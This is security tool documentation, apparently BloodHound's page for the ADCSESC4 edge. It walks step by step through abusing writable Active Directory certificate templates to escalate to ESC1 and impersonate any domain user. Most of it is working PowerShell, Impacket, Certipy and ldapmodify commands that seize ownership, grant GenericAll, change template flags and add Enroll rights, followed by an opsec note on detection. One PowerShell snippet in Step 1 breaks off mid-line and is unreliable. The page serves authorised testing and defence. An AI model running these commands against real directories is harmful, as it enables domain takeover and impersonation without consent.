ADCSESC4

This article applies to BHCE and BHE

The ADCSESC4 edge indicates that the principal has the privileges to perform the ADCS ESC4 abuse against the target AD domain.

The principal has permissions to modify the settings on one or more certificate templates, enabling the principal configure the certificate templates for ADCS ESC1 conditions, which allows them to specify an alternate subject name and use the certificate for authentication. They also has enrollment permission for an enterprise CA with the necessary templates published. This enterprise CA is trusted for NT authentication and chains up to a root CA for the forest. This setup lets the principal modify the certificate templates to allow enrollment as any targeted AD forest user or computer without knowing their credentials, and impersonation of those targets by certificate authentication.

Abuse Info

An attacker may perform this attack in the following steps:

Step 0.1: Obtain ownership (WriteOwner only)

If you only have WriteOwner on the affected certificate template, then you need to grant your principal ownership over the template.

Windows

Use the following PowerShell snippet to check the current ownership on the certificate template:

$templateName = "TemplateName" # Use CN, not display name

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Print the owner
$acl = $template.psbase.ObjectSecurity
$acl.Owner

Use the following PowerShell snippet to grant the principal ownership on the certificate template:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Set owner
$acl = $template.psbase.ObjectSecurity
$account = New-Object System.Security.Principal.NTAccount($principalName)
$acl.SetOwner($account)
$template.psbase.CommitChanges()

Confirm that the ownership was changed by running the first script again.

After abuse, set the ownership back to previous owner using the second script.

Linux

To check the current owner of the certificate template, you may use Impacket's owneredit:

owneredit.py -action read -target-dn 'template-dn' 'domain'/'attacker':'password'

Change the ownership of the object:

owneredit.py -action write -new-owner 'attacker' -target-dn 'template-dn' 'domain'/'attacker':'password'

Confirm that the ownership was changed by running the first script again.

After abuse, set the ownership back to previous owner using the second script.

Step 0.2: Obtain GenericAll (WriteOwner, Owns, or WriteDacl only)

If you only have WriteOwner, Owns, or WriteDacl on the affected certificate template, then you need to grant your principal GenericAll over the template.

Windows

Use the following PowerShell snippet to grant the principal GenericAll on the certificate template:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Construct the ACE
$account = New-Object System.Security.Principal.NTAccount($principalName)
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)

# Add the new ACE to the ACL
$acl = $template.psbase.ObjectSecurity
$acl.AddAccessRule($ace)
$template.psbase.CommitChanges()

Confirm that the GenericAll ACE was added:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Print ACEs granted to the principal
$acl = $template.psbase.ObjectSecurity
$acl.Access | ? { $_.IdentityReference -like "*$principalName" }

After abuse, remove the GenericAll ACE you added:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Construct the ACE
$account = New-Object System.Security.Principal.NTAccount($principalName)
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::GenericAll,
[System.Security.AccessControl.AccessControlType]::Allow
)

# Remove the ACE from the ACL
$acl = $template.psbase.ObjectSecurity
$acl.RemoveAccessRuleSpecific($ace)
$template.psbase.CommitChanges()

Linux

Impacket's dacledit can be used for that purpose:

dacledit.py -action 'write' -rights 'FullControl' -principal 'attacker' -target-dn 'template-dn' 'domain'/'attacker':'password'

Confirm that the GenericAll ACE was added:

dacledit.py -action 'read' -rights 'FullControl' -principal 'attacker' -target-dn 'template-dn' 'domain'/'attacker':'password'

After abuse, remove the GenericAll ACE you added:

dacledit.py -action 'remove' -rights 'FullControl' -principal 'attacker' -target-dn 'template-dn' 'domain'/'attacker':'password'

Step 0.3: Make certificate template ESC1 abusable (Linux only)

If you have an GenericAll edge to the CertTemplate node, or if you have just granted yourself GenericAll, then you can use this step from a Linux host to make the template abuseable to ESC1 using Certipy.

If you do not have GenericAll on the CertTemplate or if you are operation from a Windows host, continue to the next step.

Overwrite the configuration of the certificate template to make it vulnerable to ESC1:

certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

The -save-old parameter is used to save the old configuration, which is used afterward for restoring the configuration:

certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Restoring the configuration is vital as the the vulnerable configuration grants Full Control to Authenticated Users.

The certificate template is now vulnerable to the ESC1 technique. See ADCSESC1 for instructions.

Step 1: Ensure the certificate template allows for client authentication

The certificate template allows for client authentication if the CertTemplate node's Authentication Enabled (authenticationenabled) is set to True. In that case, continue to the next step.

Windows

Use the following PowerShell snippet to check the values of the pKIExtendedKeyUsage and msPKI-Certificate-Application-Policy attributes of the certificate template:

$templateName = "TemplateName" # Use CN, not display name

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Print attributes
Write-Host "pKIExtendedKeyUsage: $($template.Properties["pKIExtendedKeyUsage"])"
Write-Host "msPKI-Certificate-Application-Policy: $($template.Pro
To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.

Add the Client Authentication EKU:

$templateName = "TemplateName" # Use CN, not display name
$eku = "1.3.6.1.5.5.7.3.2" # Client Authentication EKU

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Add EKU to attributes
$template.Properties["pKIExtendedKeyUsage"].Add($eku) | Out-Null
$template.Properties["msPKI-Certificate-Application-Policy"].Add($eku) | Out-Null
$template.CommitChanges()
$ldap.Close()

Run the first PowerShell snippet again to confirm the EKU has been added.

After abuse, remove the Client Authentication EKU:

$templateName = "TemplateName" # Use CN, not display name
$eku = "1.3.6.1.5.5.7.3.2" # Client Authentication EKU

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Remove EKU from attributes
$template.Properties["pKIExtendedKeyUsage"].Remove($eku) | Out-Null
$template.Properties["msPKI-Certificate-Application-Policy"].Remove($eku) | Out-Null
$template.CommitChanges()
$ldap.Close()

Verify the EKU has been removed using the first PowerShell snippet.

Linux

Check the current value of the msPKI-Certificate-Application-Policy and pKIExtendedKeyUsage attribute on the certificate template using ldapsearch and note it down for later:

ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Certificate-Application-Policy
ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" pKIExtendedKeyUsage

Set the Client Authentication EKU using ldapmodify:

echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-Certificate-Application-Policy\nmsPKI-Certificate-Application-Policy: 1.3.6.1.5.5.7.3.2" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME
echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: pKIExtendedKeyUsage\npKIExtendedKeyUsage: 1.3.6.1.5.5.7.3.2" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

Run the first two command again to confirm the attributes have been set.

After abuse, set the attributes back to the original value by running the commands to set the values, but with the original values instead. To set multiple EKUs, use this format:

echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: ATTRIBUTE\nATTRIBUTE: EKU1\nATTRIBUTE: EKU2" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

Step 2: Ensure the certificate template requires enrollee to specify Subject Alternative Name (SAN)

The certificate template requires the enrollee to specify SAN if the CertTemplate node's Enrollee Supplies Subject (enrolleesuppliessubject) is set to True. In that case, continue to the next step.

The certificate template requires the enrollee to specify SAN if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is enabled in the certificate template's msPKI-Certificate-Name-Flag attribute.

Windows

Use the following PowerShell snippet to check the value of the msPKI-Certificate-Name-Flag attribute of the certificate template and its enabled flags:

$templateName = "TemplateName" # Use CN, not display name

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()
$msPKICertificateNameFlag = $template.Properties["msPKI-Certificate-Name-Flag"]
$ldap.Close()

# Print attribute value and enabeld flags
$flagTable = @{
0x00000001 = "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT"
0x00010000 = "CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME"
0x00400000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS"
0x00800000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_SPN"
0x01000000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID"
0x02000000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_UPN"
0x04000000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL"
0x08000000 = "CT_FLAG_SUBJECT_ALT_REQUIRE_DNS"
0x10000000 = "CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN"
0x20000000 = "CT_FLAG_SUBJECT_REQUIRE_EMAIL"
0x40000000 = "CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME"
0x80000000 = "CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH"
0x00000008 = "CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME"
}
Write-Host "msPKI-Certificate-Name-Flag: $msPKICertificateNameFlag"
foreach ($flag in $flagTable.Keys) {
if ($msPKICertificateNameFlag.ToString() -band $flag) {
Write-Host "0x$("{0:X8}" -f $flag) $($flagTable[$flag])"
}
}

Flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag:

$templateName = "TemplateName" # Use CN, not display name
$flagToFlip = 0x00000001 # CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Flip flag
$curValue = $template.Properties["msPKI-Certificate-Name-Flag"].Value
$template.Properties["msPKI-Certificate-Name-Flag"].Value = $curValue -bxor $flagToFlip
$template.CommitChanges()
$ldap.Close()

To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.

Run the first PowerShell snippet again to confirm the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag has been enabled.

After abuse, remove the flag by running the script that flips the flag once again.

Linux

Check the current value of the msPKI-Certificate-Name-Flag attribute on the certificate template using ldapsearch and note it down for later:

ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Certificate-Name-Flag

Set the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag as the only enabled flag using ldapmodify:

echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-Certificate-Name-Flag\nmsPKI-Certificate-Name-Flag: 1" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

Run the first command again to confirm the attribute has been set.

After abuse, set the attribute back to the original value by running the command that sets the value, but with the original value instead of 1.

Step 3: Ensure the certificate template does not require manager approval

The certificate template does not require manager approval if the CertTemplate node's Requires Manager Approval (requiresmanagerapproval) is set to False. In that case, continue to the next step.

The certificate template requires manager approval if the CT_FLAG_PEND_ALL_REQUESTS flag is enabled in the certificate template's msPKI-Enrollment-Flag attribute.

Windows

Use the following PowerShell snippet to check the value of the msPKI-Enrollment-Flag attribute of the certificate template and its enabled flags:

$templateName = "TemplateName" # Use CN, not display name

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()
$msPKICertificateNameFlag = $template.Properties["msPKI-Enrollment-Flag"]
$ldap.Close()

# Print attribute value and enabeld flags
$flagTable = @{
0x00000001 = "CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS"
0x00000002 = "CT_FLAG_PEND_ALL_REQUESTS"
0x00000004 = "CT_FLAG_PUBLISH_TO_KRA_CONTAINER"
0x00000008 = "CT_FLAG_PUBLISH_TO_DS"
0x00000010 = "CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE"
0x00000020 = "CT_FLAG_AUTO_ENROLLMENT"
0x00000040 = "CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT"
0x00000100 = "CT_FLAG_USER_INTERACTION_REQUIRED"
0x00000400 = "CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE"
0x00000800 = "CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF"
0x00001000 = "CT_FLAG_ADD_OCSP_NOCHECK"
0x00002000 = "CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL"
0x00004000 = "CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS"
0x00008000 = "CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS"
0x00010000 = "CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT"
0x00020000 = "CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST"
0x00040000 = "CT_FLAG_SKIP_AUTO_RENEWAL"
0x00080000 = "CT_FLAG_NO_SECURITY_EXTENSION"
}
Write-Host "msPKI-Certificate-Name-Flag: $msPKICertificateNameFlag"
foreach ($flag in $flagTable.Keys) {
if ($msPKICertificateNameFlag.ToString() -band $flag) {
Write-Host "0x$("{0:X8}" -f $flag) $($flagTable[$flag])"
}
}

Flip the CT_FLAG_PEND_ALL_REQUESTS flag:

$templateName = "TemplateName" # Use CN, not display name
$flagToFlip = 0x00000002 # CT_FLAG_PEND_ALL_REQUESTS

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Flip flag
$curValue = $template.Properties["msPKI-Enrollment-Flag"].Value
$template.Properties["msPKI-Enrollment-Flag"].Value = $curValue -bxor $flagToFlip
$template.CommitChanges()
$ldap.Close()

To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.

Run the first PowerShell snippet again to confirm the CT_FLAG_PEND_ALL_REQUESTS flag has been enabled.

After abuse, remove the flag by running the script that flips the flag once again.

Linux

Check the current value of the msPKI-Enrollment-Flag attribute on the certificate template using ldapsearch and note it down for later:

ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-Enrollment-Flag

Remove all flags from msPKI-Enrollment-Flag using ldapmodify:

echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-Enrollment-Flag\nmsPKI-Enrollment-Flag: 0" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

Run the first command again to confirm the attribute has been set.

After abuse, set the attribute back to the original value by running the command to set the value, but with the original value instead of 0.

Step 4: Ensure the certificate template does not require authorized signatures

The certificate template does not require authorized signatures if the CertTemplate node's Authorized Signatures Required (authorizedsignatures) is set to 0 or if the Schema Version (schemaversion) is 1. In that case, continue to the next step.

The certificate template requires authorized signatures if the certificate template's msPKI-RA-Signature attribute value is more than zero.

Windows

Use the following PowerShell snippet to check the value of the msPKI-RA-Signature attribute:

$templateName = "TemplateName" # Use CN, not display name

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Print attribute
Write-Host "msPKI-RA-Signature: $($template.Properties["msPKI-RA-Signature"])"
$ldap.Close()

Set msPKI-RA-Signature to 0:

$templateName = "TemplateName" # Use CN, not display name
$noSignatures = [Int32]0

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$ldapPath = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"
$ldap = New-Object DirectoryServices.DirectoryEntry($ldapPath)
$searcher = New-Object DirectoryServices.DirectorySearcher
$searcher.SearchRoot = $ldap
$searcher.Filter = "(&(objectClass=pKICertificateTemplate)(cn=$templateName))"
$template = $searcher.FindOne().GetDirectoryEntry()

# Set No. of authorized signatures required
$template.Properties["msPKI-RA-Signature"].Value = $noSignatures
$template.CommitChanges()
$ldap.Close()

To run the LDAP query as another principal, replace DirectoryEntry($ldapPath) with DirectoryEntry($ldapPath, $ldapUsername, $ldapPassword) to specify the credentials of the principal.

Run the first PowerShell snippet again to confirm the msPKI-RA-Signature attribute has been set.

After abuse, set the msPKI-RA-Signature attribute back to the original value by running PowerShell snippet that sets the value, but with the original value instead of 0.

Linux

Check the current value of the msPKI-RA-Signature attribute on the certificate template using ldapsearch and note it down for later:

ldapsearch -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME -b "TEMPLATE-DN" msPKI-RA-Signature

Remove all flags from msPKI-RA-Signature using ldapmodify:

echo -e "dn: TEMPLATE-DN\nchangetype: modify\nreplace: msPKI-RA-Signature\nmsPKI-RA-Signature: 0" | ldapmodify -x -D "ATTACKER-DN" -w 'PWD' -h DOMAIN-DNS-NAME

Run the first command again to confirm the attribute has been set.

After abuse, set the attribute back to the original value by running the command that sets the value, but with the original value instead of 0.

Step 5: Ensure the principal has enrollment rights on the certificate template

The principal does have enrollment rights on the certificate template if BloodHound returns a path for this Cypher query (replace "PRINCIPAL@DOMAIN.NAME" and "CERTTEMPLATE@DOMAIN.NAME" with the names of the principal and the certificate template):

MATCH p = (x)-[:MemberOf*0..]->()-[:Enroll|AllExtendRights|GenericAll]->(ct:CertTemplate)
WHERE x.name = "PRINCIPAL@DOMAIN.NAME" AND ct.name = "CERTTEMPLATE@DOMAIN.NAME"
RETURN p

If a path is returned, continue to the next step.

Windows

Use the following PowerShell snippet to grant the principal Enroll on the certificate template:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Construct the ACE
$objectTypeByteArray = [GUID]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
$inheritedObjectTypeByteArray = [GUID]"00000000-0000-0000-0000-000000000000"
$account = New-Object System.Security.Principal.NTAccount($principalName)
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AccessControlType]::Allow,
$objectTypeByteArray,
[System.Security.AccessControl.InheritanceFlags]::None,
$inheritedObjectTypeByteArray
)

# Add the new ACE to the ACL
$acl = $template.psbase.ObjectSecurity
$acl.AddAccessRule($ace)
$template.psbase.CommitChanges()

Confirm that the Enroll ACE was added:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Print ACEs granted to the principal
$acl = $template.psbase.ObjectSecurity
$acl.Access | ? { $_.IdentityReference -like "*$principalName" }

After abuse, remove the Enroll ACE you added:

$templateName = "TemplateName" # Use CN, not display name
$principalName = "principal" # SAM account name of principal

# Find the certificate template
$rootDSE = New-Object DirectoryServices.DirectoryEntry("LDAP://RootDSE")
$template = [ADSI]"LDAP://CN=$templateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,$($rootDSE.configurationNamingContext)"

# Construct the ACE
$objectTypeByteArray = [GUID]"0e10c968-78fb-11d2-90d4-00c04f79dc55"
$inheritedObjectTypeByteArray = [GUID]"00000000-0000-0000-0000-000000000000"
$account = New-Object System.Security.Principal.NTAccount($principalName)
$sid = $account.Translate([System.Security.Principal.SecurityIdentifier])
$ace = New-Object DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
[System.Security.AccessControl.AccessControlType]::Allow,
$objectTypeByteArray,
[System.Security.AccessControl.InheritanceFlags]::None,
$inheritedObjectTypeByteArray
)

# Remove the ACE from the ACL
$acl = $template.psbase.ObjectSecurity
$acl.RemoveAccessRuleSpecific($ace)
$template.psbase.CommitChanges()

The principal can now perform an ESC1 attack.

Step 6: Perform ESC1 attack

See ADCSESC1 for instructions.

Opsec Considerations

When the affected certificate authority issues the certificate to the attacker, it will retain a local copy of that certificate in its issued certificates store. Defenders may analyze those issued certificates to identify illegitimately issued certificates and identify the principal that requested the certificate.

Updated